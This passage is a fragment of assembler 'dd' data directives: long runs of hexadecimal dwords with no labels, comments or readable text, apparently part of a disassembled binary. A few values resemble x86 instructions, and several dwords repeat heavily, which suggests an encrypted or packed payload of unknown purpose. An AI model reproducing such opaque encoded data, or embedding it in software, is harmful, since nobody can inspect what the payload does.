0DD44CCE3h, 0EE56D5F2h, 8B6A455Bh, 60351A7Eh, 88E470D3h dd 0F2FF3718h, 1D181E8Eh, 2586416Ch, 0F053E0B5h, 32E9680h dd 0A000000h, 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h dd 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h dd 57783C7Ah, 0BE56E789h, 6BEB01F9h, 5040CE81h, 0F681732Ah dd 1D6720C6h, 3AEE814Eh, 1668C71h, 0EF835EF7h, 243C8704h dd 4EC835Ch, 68240489h, 531Dh, 52241489h, 0B53929BAh, 0B9514213h dd 2B1F275Ah, 0AD0C181h, 0F18139BEh, 54B173Bh, 4A59CA01h dd 52F2814Ah, 897357DFh, 0EC835AD0h, 24248904h, 4240483h dd 0B951505Ah, 68764B6Bh, 4244C29h, 8428F59h, 6B084281h dd 8B68764Bh, 89532414h, 4C381E3h, 83000000h, 1C8704C3h dd 48B5C24h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h dd 0F8F7A1E9h, 85E3F9FFh, 0A18C1FB6h, 0B8C4838Ch, 61C8608h dd 0E0FFC503h, 0E8FEF64h, 7F23BDEh, 0C9EFBE8h, 0FAC4ABBh dd 5608109Ah, 2B498740h, 24FD04h, 87D4085h, 1DF6A901h dd 35A7D945h, 747A3BD3h, 21B19C4Eh, 57A36605h, 5A242A02h dd 60550AF5h, 58B812EAh, 6FEECC7Bh, 6DC8BD77h, 5F65B789h dd 1F37E8DCh, 11BA4508h, 8415203h, 4991D1B3h, 4BAD2A0h dd 482C647Dh, 657722B2h, 1150D7D8h, 1D1778B9h, 3EF23DF9h dd 4E260581h, 51279F83h, 0ECE9h, 0 dd 81063700h, 81CE037Ch, 80C0587Ch, 9010057Ch, 9010ED7Ch dd 0F200007Ch, 276h, 5 dup(0) dd 80ADA000h, 7Ch, 2Bh dup(0) dd 600h, 39E71400h, 7F2D0C16h, 0A8334978h, 5F0CC31Ch, 0FC3BAC33h dd 15662234h, 7B651D4h, 0A8E5B419h, 13734CC7h, 966F5732h dd 65BC8Fh, 0C128834h, 0D5ED1762h, 1562338Ah, 90E39832h dd 98609D21h, 2CCDAAFh, 4EB5DD34h, 0B8DB926Ah, 15609D31h dd 46365346h, 1562338Ah, 90E39832h, 98609D21h, 2C1C9AFh dd 4EB5DD34h, 7306E86Ah, 940049B9h, 74FAEDEAh, 11ED72CEh dd 11A29216h, 156681DBh, 3EED1832h, 0CA8DA4C5h, 0A8E5D9E3h dd 137A0F50h, 5CE24B32h, 0ED662232h, 0A8E39CCAh, 1A609409h dd 15664AB2h, 156FCB32h, 75E71132h, 0EDE0FAE2h, 0EA4FA50Ah dd 1561CBE2h, 57081132h, 12EE9FC5h, 0F8E3C9CAh, 0EC603E09h dd 48FC1CDh, 0EB668832h, 0EEDA8AEh, 460072EFh, 0AD4B9EE2h dd 0FDE88F9Ch, 1CA3C1F4h, 75302427h, 9E000D81h, 9669E9F5h dd 15664433h, 0AD344ACBh, 138F8D9Ah, 63668832h, 0B8CB7CD6h dd 4D3DDA2h, 7560041Ah, 98DA1B8Ch, 1568AD1Bh, 45962232h dd 191D3801h, 4F2A7381h, 774BAD81h, 156BCB53h, 54031132h dd 772BD2FCh, 7C453635h, 985E7E91h, 0D14ADB7h, 0C5997134h dd 1577AD52h, 0C0802232h, 80B22E08h, 0E5F9FB45h, 0D7FB1884h dd 754F69E0h, 0FDA19A54h, 1566883Ah, 0C1D8F977h, 0A606F8E8h dd 9C07706Bh, 4241B7h, 14EE4B34h, 0EC662232h, 0B0394F5h dd 15668E27h, 9C694432h, 15662239h, 33869152h, 15660F3Dh dd 0D3074432h, 6FE7B7h, 188F5434h, 30668832h, 0C6A715CAh dd 7BD85578h, 3E0AD7A4h, 670FE15Ah, 14E74BBCh, 0ED662232h dd 3E3A4CDh, 0E0068E27h, 98074682h, 5D1AB7h, 94007134h dd 940432DBh, 5447CDF2h, 0C5994328h, 156E9E3Dh, 90698832h dd 15664430h, 9E694352h, 15661133h, 28E301C7h, 7560511Bh dd 5AD39854h, 1565993Dh, 9E008832h, 90A025E4h, 13732BF7h dd 19E71E71h, 0FC668832h, 15664435h, 17BD5688h, 7D233E49h dd 8901E36Ch, 1561C43Dh, 91692232h, 15661133h, 90D377CEh dd 1A605124h, 156623B3h, 90EBE932h, 1373B30Ah, 15664EDBh dd 263A6E32h, 7BD500C7h, 0EA37FB43h, 90EFBDE2h, 137AA578h dd 10E71E52h, 73668832h, 9FA58EB3h, 1560A53Dh, 93691132h dd 15668832h, 0D0E38253h, 4160373Bh, 156E9E3Dh, 90698832h dd 15664430h, 3C0E4352h, 1A88735Ah, 156686BBh, 156FAD32h dd 77462232h, 853D986Eh, 0EADF072Eh, 70C187h, 90EBDB34h dd 13732A0Ah, 1570013Dh, 9D694432h, 15662222h, 15661ADBh dd 0CF9A9732h, 9C87DC40h, 0A1178B24h, 198FC1CDh, 21668832h dd 85EE3E2Dh, 60688AB1h, 9C7D7F8Fh, 9E1C6B7h, 90A0BC34h dd 13732BF7h, 9E007177h, 7D0771F3h, 0CF067CF0h, 15662FDBh dd 0A0B75332h, 89037D2Dh, 0C255924Fh, 0A0998938h, 137307B7h dd 157261CBh, 0B2FD4432h, 6C801A25h, 0B7A065C5h, 0C59B9C88h dd 9279F3BBh, 90EB0BA5h, 13732A0Ah, 156683DBh, 53B92E32h dd 3EC53C56h, 0F55D241Dh, 0F2E7EE52h, 0EA0785B1h, 90EFDAE2h dd 137A9660h, 15668EDBh, 0C6484932h, 96B02FDBh, 4BA48Fh dd 90698834h, 15664503h, 1577CBCEh, 68031132h, 0A9861C57h dd 2642BD10h, 9080EE8Fh, 0D3DE64A9h, 6F4DB7h, 75060134h dd 759D953Dh, 94007053h, 742AB0D2h, 3518C25Ah, 156BCBC8h dd 71221132h, 73D03206h, 37481EDBh, 0EA44EF31h, 709487h dd 17E18734h, 75664432h, 2E72D53h, 75661132h, 156687DAh dd 9C571832h, 0FCDD8FF4h, 0E29005B7h, 0C25E96D9h, 90EB2568h dd 1373190Ah, 1561973Dh, 96698832h, 15664433h, 0FCB6DDCEh dd 15661139h, 0C3EF29E1h, 494475D5h, 0FC9CC07Bh, 15661139h dd 0C02184DDh, 4167D653h, 9C832EC7h, 9E147B7h, 90A07134h dd 13734DF7h, 9669427Eh, 15661133h, 157261CEh, 42394432h dd 0A0A45CFAh, 3D3B6BF0h, 13D6C834h, 0CDFCA72Ah, 7D07E8A3h dd 0F540C1F1h, 15760D3Dh, 1E8F4432h, 78662232h, 1BBB5040h dd 85D20962h, 0A099A22Dh, 137334B7h, 73A79A52h, 378256B3h dd 90EBBD53h, 1373190Ah, 15661BDBh, 0DBB9EA32h, 117CA0BAh dd 0EA6D9EA5h, 90EFE8E2h, 137A0F68h, 15664DDBh, 0DC9E4F32h dd 8F1980B5h, 0FC9F0FCEh, 15664481h, 0D0E3E4CEh, 4760043Bh dd 0F16BE0C7h, 9869F878h, 15662233h, 0D3EECAh, 0ED609D22h dd 2E5EC1BFh, 0EC062427h, 74ADA63Dh, 450658CDh, 733D2552h dd 7421408Bh, 923094BBh, 0E9068E2Eh, 744294B2h, 1CA3A7F4h dd 1A341727h, 156689B4h, 5D0EB832h, 75C06E78h, 0EA07CCB8h dd 769D87h, 156AAD34h, 60562232h, 80A300FDh, 4D948D4Ch dd 90EB8AF4h, 1373190Ah, 17EC1E52h, 47668832h, 3081C56Bh dd 740C6DC0h, 1F8FC1CDh, 80668832h, 0CE6F8ABCh, 895B17F3h dd 4FE398E7h, 756094B5h, 156655DBh, 0DFBB4732h, 7AA3E25Dh dd 9ABD17F6h, 0FE90A4BCh, 0D307571Dh, 6FD4B7h, 68FDA34h dd 79664432h, 0F720A701h, 0D1A62913h, 833BF87Ch, 0F4643D59h dd 0FF0ED0A1h, 0E99B5386h, 90D377CEh, 0E9605124h, 2E5EA7BFh dd 0EA9A1727h, 90EF74E2h, 13736A0Bh, 0F3E77352h, 56A7FA54h dd 0E7E7EE6Bh, 75075485h, 44A19D3Dh, 743E7052h, 1CA30DF4h dd 1A114227h, 156623B7h, 0B60EE932h, 1A951F9Ah, 156651B6h dd 1576CB32h, 23171132h, 0E575FD2Eh, 98B9B3A8h, 4E84529Fh dd 0A0998981h, 13738FBBh, 2DE3C9CBh, 1A603709h, 156606BDh dd 15746132h, 215B4432h, 5826BB2Fh, 0CD69FD52h, 68082FDEh dd 95957852h, 6888A352h, 0FC76752Dh, 15668838h, 9797C9E9h dd 9C0DA445h, 0EA07307Ah, 2EF87E2h, 0FC664432h, 15662220h dd 0C27FADFFh, 0D1CB11D2h, 7B843157h, 0CA735DE0h, 90EFDEE9h dd 1373BBB7h, 0CCB5C452h, 3A84A354h, 90A070DFh, 137381F7h dd 99692460h, 15662234h, 15669A3Dh, 48F8832h, 3A664432h dd 0F578C18Eh, 0EE2A5B94h, 87A9A805h, 5B7D827Dh, 24714A53h dd 97699BEFh, 15668837h, 0C2D14B52h, 90D3DD53h, 75600424h dd 95A5373Dh, 9807C5E7h, 5D1AB7h, 0EA9EED34h, 9C9370E2h dd 65DDB7h, 0FE42D34h, 75661132h, 157461C7h, 0ED914432h dd 0A629E721h, 0C19FE37Eh, 86CE460Dh, 0B7B5BDF9h, 0D0E3E453h dd 4360043Bh, 785FE0CEh, 9C69902Dh, 15662233h, 4D3EECBh dd 75609D1Ah, 156656DAh, 0A4D8B232h, 8DC347B6h, 9DC9B958h dd 4B7F91BDh, 4CBDAF47h, 0CBB49054h, 9A69E969h, 1566443Bh dd 5B95A252h, 8148AB54h, 0A9E30553h, 0E0605C40h, 1C8FF2CDh dd 0E6661132h, 807EF0AAh, 6AF04D61h, 1337A7BBh, 99691727h dd 15668833h, 1568ADCAh, 0A2EB2232h, 906BCFF1h, 0D90C9D82h dd 2C0D9297h, 1CA3A7F4h, 0FC211727h, 15668835h, 0EAEAE22h dd 7D1BA74Ah, 94BA0148h, 90D377C7h, 75605124h, 1AB6A954h dd 9807E885h, 5DB0B7h, 138FB834h, 0B7662232h, 0ADE531E9h dd 75B67706h, 6BA4C554h, 11BFA31Dh, 743F17BAh, 3FF30DBBh dd 9A694227h, 15662238h, 156614DBh, 4632FF32h, 90A019ECh dd 13732BF7h, 1563F875h, 27A98832h, 7D503AE6h, 9F6997D0h dd 1567983Dh, 0EA9F8832h, 70C187h, 1EEA2D34h, 0FC661132h dd 15668834h, 5C43CF14h, 90EB516Bh, 13732A0Ah, 156F6152h dd 7E3C4432h, 0E21C3E1Fh, 0E993DA0Dh, 75B67753h, 1A9FCF54h dd 9C07D48Dh, 9E16BB7h, 959FE834h, 0D20744FEh, 74B7B7h dd 15666934h dd 0A8E57032h, 137355F3h, 13E22D32h, 7566112Bh, 0AE8D0954h dd 0CCD14B72h, 0D0E3E453h, 5960043Bh, 749D0352h, 0CF7AAD5Ah dd 0A099D7EBh, 137307B7h, 2DE305CAh, 0FC605109h, 15662234h dd 0BDA53839h, 0C599C47Ch, 15664ADBh, 57A75C32h, 0B5667FF2h dd 8AF24272h, 0FC3742D9h, 1566223Fh, 34ABC193h, 9F3B3443h dd 0B05CFFFAh, 73E3AB46h, 0E0600DB5h, 157E013Dh, 68F4432h dd 33662232h, 81A7C918h, 0DA08A11Eh, 0F9429042h, 35181461h dd 90A0B73Eh, 137381F7h, 0DB0EBD7Eh, 0ECBB56ECh, 157E953Dh dd 95698832h, 15664420h, 15662FDBh, 0FCFF032h, 19D25565h dd 0EB671828h, 0A0991D9Dh, 137307B7h, 9E00E8C7h, 74A3CEF5h dd 2E5EA7BFh, 73061727h, 198E46B9h, 53664432h, 5F8D91CEh dd 0C19B212Dh, 0FC04E7E1h, 1566443Ch, 0A871F0C4h, 0BB65847Ah dd 21D2CDEAh, 743E4678h, 18FF2CDh, 0A4661132h, 98FADD19h dd 6A1E41AEh, 89AAB189h, 3FBAF268h, 9CC892A4h, 9E12EB7h dd 156ACB34h, 641E1132h, 0E5E263E7h, 0D3047697h, 90A06742h dd 137318F7h, 2A0E7D7Eh, 0FCD1C5B0h, 15662220h, 0E646FA23h dd 2F394496h, 0F9132343h, 0EB0067E0h, 0A0991994h, 13739EB7h dd 156CCF3Dh, 1A062232h, 156611B0h, 7407E832h, 2E5EC1BFh dd 0EA932427h, 1A3771E2h, 156688BDh, 9C071F32h, 9E14CB7h dd 18E7134h, 1668832h, 82A444F2h, 0C0D1ADC8h, 976B4CA3h dd 0E1542749h, 9ED1B3D0h, 0AB0078C1h, 0D3075E52h, 6F4DB7h dd 78F0834h, 6A662232h, 0AF497B44h, 0E6E8E82Dh, 8D41E908h dd 0C5E1704Eh, 557E79C1h, 9B693B1Dh, 15664420h, 15662FDBh dd 33F58432h, 880D6237h, 0ECEA7335h, 0A099F76Ch, 137307B7h dd 15670D3Dh, 989A4432h, 5D1AB7h, 19E91E34h, 0FC668832h dd 15664435h, 60435D10h, 0EA2FD690h, 198FE8E2h, 57664432h dd 2B526AB4h, 0E47468Ch, 0ED043151h, 7BE3CD53h, 1A603EB5h dd 156610B5h, 90A07432h, 13734DF7h, 9E934274h, 10E70E2h dd 0FCDC5634h, 15664434h, 0B27ED8C4h, 0A099D0F8h, 13739EB7h dd 156649DBh, 0A7BAE932h, 8E220C73h, 47D3DA58h, 90EB1094h dd 1373190Ah, 9E69E952h, 15668837h, 0A497888Ch, 0C5994375h dd 156601DBh, 9731C132h, 0D7293DFh, 9E7B7C83h, 529E1A18h dd 63E301C3h, 1A6058B5h, 156623BDh, 90A0E432h, 137381F7h dd 6F0EBC75h, 0EDE7FE22h, 15661CDBh, 282EB32h, 0A622317Dh dd 0E05B06A1h, 0A0995949h, 13739EB7h, 156643DBh, 0B8EC3232h dd 0CCD37285h, 2E5E0DBFh, 98694227h, 1566223Eh, 15609C3Dh dd 9C698832h, 15664432h, 9C93F2CDh, 9E16FB7h, 19E98734h dd 1A664432h, 156624B6h, 15EF1E32h, 0D3668832h, 6F81B7h dd 9C696534h, 15661133h, 9BCAE0C7h, 188FABB5h, 72662232h dd 6B7055F0h, 0FAFE9832h, 3D2BDCFCh, 3E397CDh, 0AC061727h dd 3ECB7469h, 2DE3C953h, 1A603709h, 156610BCh, 0EA9A7132h dd 90EFB1E2h, 137AA5B0h, 0D0E3D7CAh, 52609D3Bh, 0B2B42CCEh dd 0AD06F6A8h, 59B39351h, 0E9643754h, 90D3BB53h, 0FC603724h dd 1566113Eh, 4AA2274Fh, 0DE81C4D0h, 0E85EB68Fh, 2E5E94BFh dd 1C8F8E27h, 0D2664432h, 9B695049h, 4DF33652h, 976958CDh dd 1566443Eh, 1560AB3Dh, 9A691132h, 15668832h, 92E0C1BBh dd 7306242Eh, 0D47EC7B3h, 15668DDAh, 5D7B5932h, 0AE00BAC7h dd 743C2D14h, 1CA30DF4h, 1A214227h, 156623BEh, 110EE932h dd 1ADC490Bh, 15664CBFh, 17ED2D32h, 75661132h, 90D37753h dd 1A605124h, 15662EBAh, 13E31E32h, 1A668832h, 156644B6h dd 14E92D32h, 0E9661132h, 2E5E0DBFh, 97694227h, 15662238h dd 156614DBh, 6D7FCF32h, 0C5997ED1h, 15662ADBh, 21083D32h dd 8C1034C6h, 9FE3CDD9h, 75603EB5h, 0FCA5AE3Dh, 15668820h dd 8A2760E5h, 528F9FCCh, 0F164ABDAh, 224F7F26h, 1A07C7DCh dd 156633B6h, 156AF832h, 0BDDB8832h, 569CA78Ah, 7B7BF130h dd 0A8E54189h, 137390F3h, 0A2E34B32h, 75662232h, 9BAE9054h dd 74A9032Bh, 1CA3C1F4h, 75212427h, 0E7656689h, 0CE48738h dd 0FD664432h, 15662221h, 6289C68Ch, 0F3C2B57Fh, 5EC39F9Fh dd 0BD076918h, 4F24D45Eh, 15686153h, 91414432h, 0D3A46BCEh dd 3E34E9E2h, 0E3482ECEh, 674B235Ah, 1560CBD2h, 8DB41132h dd 4D780373h, 3E3F1CDh, 188F2427h, 7C661132h, 78DD308h dd 1FE0A0D6h, 0C30AA186h, 1567933Dh, 989A8832h, 5D7CB7h dd 0A7064234h, 0CFE7774Ah, 74077FF2h, 996994CDh, 15662225h dd 156603DBh, 0FAD01D32h, 2584ABAEh, 703E8574h, 583CDF73h dd 9C148F50h, 9E1CAB7h, 95064234h, 0A60727C1h, 90A0E9F4h dd 13734DF7h, 1EA2D75h, 1A661132h, 156686B4h, 156FAD32h dd 74572232h, 60880024h, 7D87A9AFh, 9B4FF783h, 1B8F42CAh dd 7A661132h, 0E8EF6EFAh, 4BA85941h, 8CE36EAEh, 0D7ED77AAh dd 90D37753h, 0FC605124h, 15662234h, 0D599D18Bh, 90EB0C37h dd 13737F0Ah, 13E72D52h, 1A661132h, 156688B7h, 0E5DD2232h dd 0C599437Eh, 45DF7752h, 0E4880991h, 7437D3FBh, 157DA03Dh dd 0FD061132h, 15668823h, 0F7E6B367h, 0F01D9239h, 2FEAF381h dd 0B99D5B52h, 80D31E43h, 87E3AB53h, 0EC600DB5h, 1CA30DF4h dd 0FC254227h, 15662220h, 104B5B53h, 0E31A949Dh, 3C282B5Dh dd 602E37Ah, 0B20E5683h, 75A6FE78h, 15664EDAh, 18EC5232h dd 39376CCBh, 958C1586h, 0AD39A4E3h, 3079F3Eh, 156AF853h dd 50228832h, 0E2647B4Ah, 55431265h, 0A09937EBh, 13739EB7h dd 0E7ED2252h, 90EB43C7h, 13732A0Ah, 0FCB677CAh, 15664422h dd 0A65DFC3Bh, 0CD904ECAh, 0F479090Fh, 0AD90BB34h, 92F0A7BBh dd 9169172Eh, 15668838h, 156641DBh, 79CB5332h, 90A0A16Ah dd 137381F7h, 1DEE4B7Eh, 1A662232h, 156613BAh, 7D07E832h dd 0EE0028D9h, 156633DBh, 744D1C32h, 9580A9BAh, 8937C909h dd 0D3B16D9Bh, 0A0992161h, 13738FBBh, 0DDD14B52h, 62D19D54h dd 14EB1E53h, 0EC668832h, 2E5EC1BFh, 0AE062427h, 2116FBFAh dd 74BE0354h, 128F94CDh, 16662232h, 0C013079Fh, 90EF44E5h dd 137ACC18h, 0DE52DCAh, 0FC661132h, 15668821h, 4247BF44h dd 6EB63D18h, 0DC8636F7h, 0FD80312Dh, 0D33A5661h, 6FE7B7h dd 7D9E5534h, 0AE150667h, 90D3BBCAh, 75603724h, 2DE39C53h dd 75609D09h, 1574AC52h, 973A2232h, 5DFD23C6h, 258D8901h dd 0FAF3F8DBh, 0F719CB37h, 15EF1E6Ch, 74668832h, 75B6BB53h dd 1568CB63h, 38261132h, 6E9B4961h, 156D56C2h, 1C33855h dd 0FD06706Ch, 15668837h, 2B87A374h, 0DBD92DF3h, 0B2BC916Bh dd 8FE30153h, 1A6058B5h, 15663AB2h, 7E61E32h, 0FC668832h dd 1566443Fh, 6618794Dh, 1E3B7E66h, 844C4117h, 0D0E382F6h dd 5660373Bh, 58A89052h, 1A5D6082h, 156646B4h, 74A9A832h dd 9B08ED5Ah, 1561618Eh, 0AE214432h, 5AEA0F29h, 90D3EEA2h dd 75609D24h, 74B4FB3Dh, 2E5EA7BFh, 0AD061727h, 526B83BAh dd 0EA078AB9h, 14EB2DE2h, 0ED661132h, 92F80DBBh, 1C8F422Eh dd 98662232h, 283598D6h, 0B0638B28h, 1CA3C1F4h, 0FC352427h dd 15661122h, 0F5EDCBCBh, 9CA7233Fh, 0EC684604h, 2DA0CB8Ah dd 558225Ah, 0DDED24F4h, 156630DBh, 8EA75832h, 31140603h dd 3FDB5D80h, 0C3C107Fh, 74644BA7h, 3E33DCDh, 989F4227h dd 5D1AB7h, 0DEC1E34h dd 0FC668832h, 15664421h, 26CC98F2h, 66169559h, 2CF02394h dd 0FCF1031Ch, 1A202FEBh, 156616B1h, 14E38732h, 0E0664432h dd 1A06F2CDh, 156617BBh, 15E78732h, 1A664432h, 9C07D285h dd 9E1B3B7h, 7335E834h, 4DE6628Dh, 9607B880h, 7A948Fh dd 91698834h, 156647C8h, 1576CB52h, 65451132h, 2D84EFEAh dd 13483239h, 20CB524Ch, 0AC001103h, 0D307B36Ch, 6F81B7h dd 7D936434h, 0EFF0DF03h, 90D377CEh, 75605124h, 0F016C58Ah dd 1A07E949h, 156690B0h, 1575AD32h, 688A2232h, 453F05D4h dd 87F90D10h, 97EF914Dh, 4C8DDA2Dh, 2DE39CCFh, 0FC609D09h dd 1566443Dh, 0B9329093h, 97BE340Ah, 0A3E99AAh, 0FCB4330Ch dd 15662226h, 2F891500h, 354593D3h, 1049FFC9h, 0FBF3171Bh dd 0D0034583h, 730658CDh, 196392B3h, 3DADC1B3h, 9C075200h dd 9E176B7h, 68F2434h, 91662232h, 0C3231307h, 0EE568579h dd 98434319h, 0E8F318B9h, 9400EFD5h, 7460C3D5h, 1CA3C1F4h dd 75202427h, 7D076781h, 0E9C1B2E4h, 14EF4BCBh, 0EC662232h dd 3E3A4CDh, 95698E27h, 15664435h, 1567AA3Dh, 989A1132h dd 5DB0B7h, 0A1312434h, 0EA077C54h, 14E11EE2h, 0E0668832h dd 9D68C1BBh, 7506242Eh, 156601DAh, 5FD8B332h, 1B28BEC6h dd 3418BB31h, 0EC2F944Eh, 0C7E7D343h, 65BB1195h, 78D84453h dd 90A070CAh, 137381F7h, 1561AD74h, 8FF12232h, 0C56CCB16h dd 0B166E04Eh, 9469D6CEh, 15662227h, 156601DBh, 7BE93332h dd 4FCF6567h, 5EAE985Ch, 502F487Dh, 90D37799h, 1A605124h dd 156624BEh, 1A9F7132h, 98077E8Dh, 5D7CB7h, 0DCE74234h dd 7F29B4FCh, 156684DBh, 6B091B32h, 1430EA0Dh, 6DB7BE02h dd 0C599E959h, 156DC43Dh, 138F2232h, 0E9661132h, 9951076h dd 7E3CDB2h, 0ED603EBAh, 1CA394F4h, 1A208E27h, 15665FB3h dd 78F4232h, 3E661132h, 875AF993h, 60F66E1Ch, 7EC17D1Dh dd 827C786Ah, 7439DF70h, 0C1292E5Ah, 940042C4h, 736552DCh dd 0CBF550B3h, 90D3BB53h, 0FC603724h, 15661120h, 0FB88EBCh dd 0E7248FD4h, 6E57FCEDh, 253BC386h, 90EB9219h, 13737F0Ah dd 156EA33Dh, 1A061132h, 156688B7h, 198F2532h, 0DB662232h dd 0DCF57722h, 8C74F6AAh, 0EA6F6B3Dh, 14E32DE2h, 0E0661132h dd 9D700DBBh, 9369422Eh, 15662233h, 90A0E9CAh, 137381F7h dd 7D9AB174h, 81AB72D5h, 1568F852h, 22118832h, 7D1576CEh dd 4A860F15h, 44B00ADCh, 15669BDBh, 23CFD132h, 710E1876h dd 9DE0A3Ah, 0F6B6DF25h, 0DB89060h, 90D3DD53h, 0FC600424h dd 1566883Bh, 0BC3362D1h, 10F310C4h, 2DE39C35h, 1A609D09h dd 156645B3h, 0C599DA32h, 74B79A52h, 9D640DBBh, 1E8F422Eh dd 0B0662232h, 6DA4426Ah, 0F00857F0h, 90A0B8FAh, 13732BF7h dd 1F8F7174h, 0CC668832h, 15AF4FF3h, 7E27DA87h, 1572F890h dd 0C5718832h, 0F33DC311h, 0DE8BECD8h, 51AECC71h, 0D70B6ED6h dd 7D07D830h, 0A4445609h, 156601DBh, 5BF65532h, 0BA1988F6h dd 95E5CAC4h, 0FE0D09CCh, 90D377F0h, 1A605124h, 156623B9h dd 90EBE832h, 1373B30Ah, 156656DBh, 0B1688B32h, 4FED7C8Bh dd 436EB1AAh, 50539D73h, 0EAF0C3FDh, 0DCE771E2h, 7BE7FB72h dd 74A4FB3Dh, 9D60A7BBh, 9C69172Eh, 15668820h, 1563AC52h dd 33D72232h, 4FA335E9h, 5EBC0954h, 18F2525h, 0C5662232h dd 4A6D0EB9h, 0BCA91551h, 4525D4FAh, 0C60EFDDEh, 0D3CA9F91h dd 6F4DB7h, 0AE060234h, 709985A3h, 156600DAh, 0EA2D1032h dd 76666397h, 0F301EEFEh, 0E7F7414Ch, 9469103Eh, 15664432h dd 0F80E436Bh, 0FCB968D8h, 15668835h, 0C712B7C2h, 0EA50752Fh dd 709487h, 68F7134h, 9A664432h, 0EA17679h, 0BA76DC6Bh dd 287D2383h, 5D8E81A0h, 90EB72E4h, 13732A0Ah, 1567063Dh dd 0EA9F4432h, 19EC2DE2h, 1A661132h, 15668EB7h, 15EF4B32h dd 9C662232h, 9EE1BB7h, 156A6134h, 6BA54432h, 23C1A19h dd 15040D47h, 0A8E5CB26h, 13735CF3h, 62E32D32h, 0FC661132h dd 15668834h, 2C60932h, 90A0E989h, 137318F7h, 9400E861h dd 74CE2CD9h, 1563A63Dh, 73061132h, 7D075FB9h, 0DBD8A46Ch dd 1561AF3Dh, 1A061132h, 0EBED7F8Dh, 90D3BB53h, 75603724h dd 8E16A954h, 0A78359B3h, 98076162h, 5D1AB7h, 90697134h dd 15668834h, 75D5A4B3h, 749E486Eh, 0ECB6EECEh, 92C00DBBh dd 9C69422Eh, 15662238h, 0CFED7752h, 0B950954h, 90A0251Bh dd 13732BF7h, 1560F875h, 0C01A8832h, 91E588FAh, 0A438A55Ah dd 6EB1EF5h, 0FC668832h, 1566443Ch, 0E456C17Ch, 341ACCFDh dd 59321A20h, 0A0999E6Fh, 137334B7h, 156617DBh, 0F760D232h dd 98A9E553h, 5D1AB7h, 138FE934h, 40668832h, 9EA681C8h dd 0FCB6DD9Dh, 15661122h, 675D6BDh, 0CF56E244h, 986ABFFCh dd 6DAA3EBEh, 92CC0DBBh, 48F422Eh, 0F0662232h, 0F6B5B93Ch dd 32E16795h, 0FB6A2C20h, 439A99B8h, 0DA7ACB1h, 1A668E27h dd 1566C2B7h, 73344232h, 6149FBB3h, 0D7E7EE68h, 750793D5h dd 90A043CEh, 137318F7h, 1DEF8775h, 1A664432h, 156620B8h dd 7D077132h, 0F304F637h, 90D3BBC7h, 1A603724h, 15661DB0h dd 13E18732h, 1A664432h, 156622B5h, 2DE39C32h, 0EC609D09h dd 4D352452h, 156636DBh, 0FB50D232h, 423DCEBEh, 77A7DA86h dd 5DAED381h, 0E5ECC404h, 9400E9B9h, 74CAA5D4h, 759FF2CDh dd 0C5ED7760h, 0AC8D096Bh, 746D7B52h, 92C8A7BBh, 0D39A172Eh dd 6F4DB7h, 0A3060734h, 1560CA5Eh, 2ECD1132h, 585B64FCh dd 743E7087h, 6F6FD45Ah, 19E01EA0h, 0FC668832h, 15664435h dd 0F798A871h, 0E9976FDBh, 3E33DCDh, 1A064227h, 9807E48Dh dd 5D29B7h, 0C5997434h, 90EFBCCEh, 137AA580h, 1567913Dh dd 1A9A8832h, 156645B6h, 90A0DE32h, 137318F7h, 0AA69E871h dd 1575ADC3h, 3C652232h, 5DFC2299h, 0AC023FAAh, 52CFA09Fh dd 23BFD21Ah, 350E7086h, 0EC9AA9A5h, 3E3F1CDh, 989A2427h dd 5D29B7h, 0F3E6E834h, 7494CFD8h, 0E093F2CDh, 92D094BBh dd 969A8E2Eh, 7E858Fh, 90692234h, 156611FFh, 9BB10952h dd 0A37AA617h, 90A0430Dh, 137318F7h, 15616171h, 0B4ED4432h dd 0E58938E3h, 160EE8D4h, 0FCED889Ah, 15664423h, 102DCCFDh dd 0BF463D0Fh, 5364B433h, 0CE93D953h, 90D3DD1Fh, 0FC600424h dd 15668822h, 50D39366h, 0E18117Dh, 0DC2326B4h, 0D9EA34B8h dd 1560AD52h, 84582232h, 0FEF23742h, 74564CB2h, 2E5EC1BFh dd 73062427h, 95273E88h, 0EA076BFDh, 90EFBDE2h, 137AA58Ch dd 90A0EDCBh, 137381F7h, 0C00EBD71h, 0ED837904h, 3E3A4CDh dd 989F8E27h, 5D7CB7h, 1572CB34h, 19A41132h, 0AC8A427Ah dd 5F586C57h, 753A8946h, 0FA7AE117h, 0C5996950h, 1563C33Dh dd 1A062232h, 0E007D88Dh, 92DC0DBBh, 9369422Eh, 15662233h dd 0D0E3D7C7h, 56609D3Bh, 156EAC52h, 0EEF42232h, 0D7EABBFFh dd 0FC3C4419h, 1566443Dh, 0E7B451EEh, 7BC3C5FDh, 22F0B9A1h dd 74F555E7h, 0E5D12D52h, 0F40E70CEh, 758C2200h, 94A0CF54h dd 0A60BB2F0h, 0A0997060h, 13739EB7h, 17E74B52h, 9E662232h dd 90EB70C2h, 1373B30Ah, 75B6BBCEh, 1563AC3Dh, 94001132h dd 0E02E6FE2h, 0D7E3CD53h, 1A603EB5h, 156606B1h, 15746132h dd 789C4432h, 0F740B4BCh, 841ABC73h, 0D500A734h, 0BC53D110h dd 3DE4452h, 90A070A9h dd 137381F7h, 14EB4B71h, 0EC662232h, 0E4CA265Ah, 0A0997DB6h dd 137352B7h, 156AA33Dh, 92691132h, 15668834h, 1566C93Dh dd 9C692232h, 1566113Bh, 738D0252h, 924097B3h, 2DE3AF53h dd 1A600409h, 156689BFh, 0C599BD32h, 15662DDBh, 0D73F5732h dd 28B0A704h, 7CC4CB8Dh, 0EB0FB65Eh, 92A094BBh, 0AF068E2Eh dd 39A7DA40h, 1566A63Dh, 1A071132h, 156684B3h, 13E94B32h dd 1A662232h, 156611BFh, 0D0E34E32h, 5A60513Bh, 1568A93Dh dd 1A061132h, 156688BFh, 15E54B32h, 74662232h, 20F6C55Ah dd 156161A5h, 54FE4432h, 0B73E3CB9h, 1575F87Eh, 35DA8832h dd 0D8161AE8h, 0FE0195F3h, 0B2F819Ch, 0D82C09BCh, 90D3BBB1h dd 0FC603724h, 15661135h, 0C89C7554h, 989469CBh, 5D1AB7h dd 0AD007134h, 9969B16Ah, 15664434h, 4029FCB3h, 0EA0721C6h dd 19E387E2h, 75664432h, 1484A354h, 0CC87AAF3h, 9C07AAAAh dd 9E18EB7h, 90A0DB34h, 137318F7h, 14E1877Dh, 0E0664432h dd 7B68205Ah, 0A099E4CBh, 13739EB7h, 2DE3C9CAh, 75603709h dd 1577F9C7h, 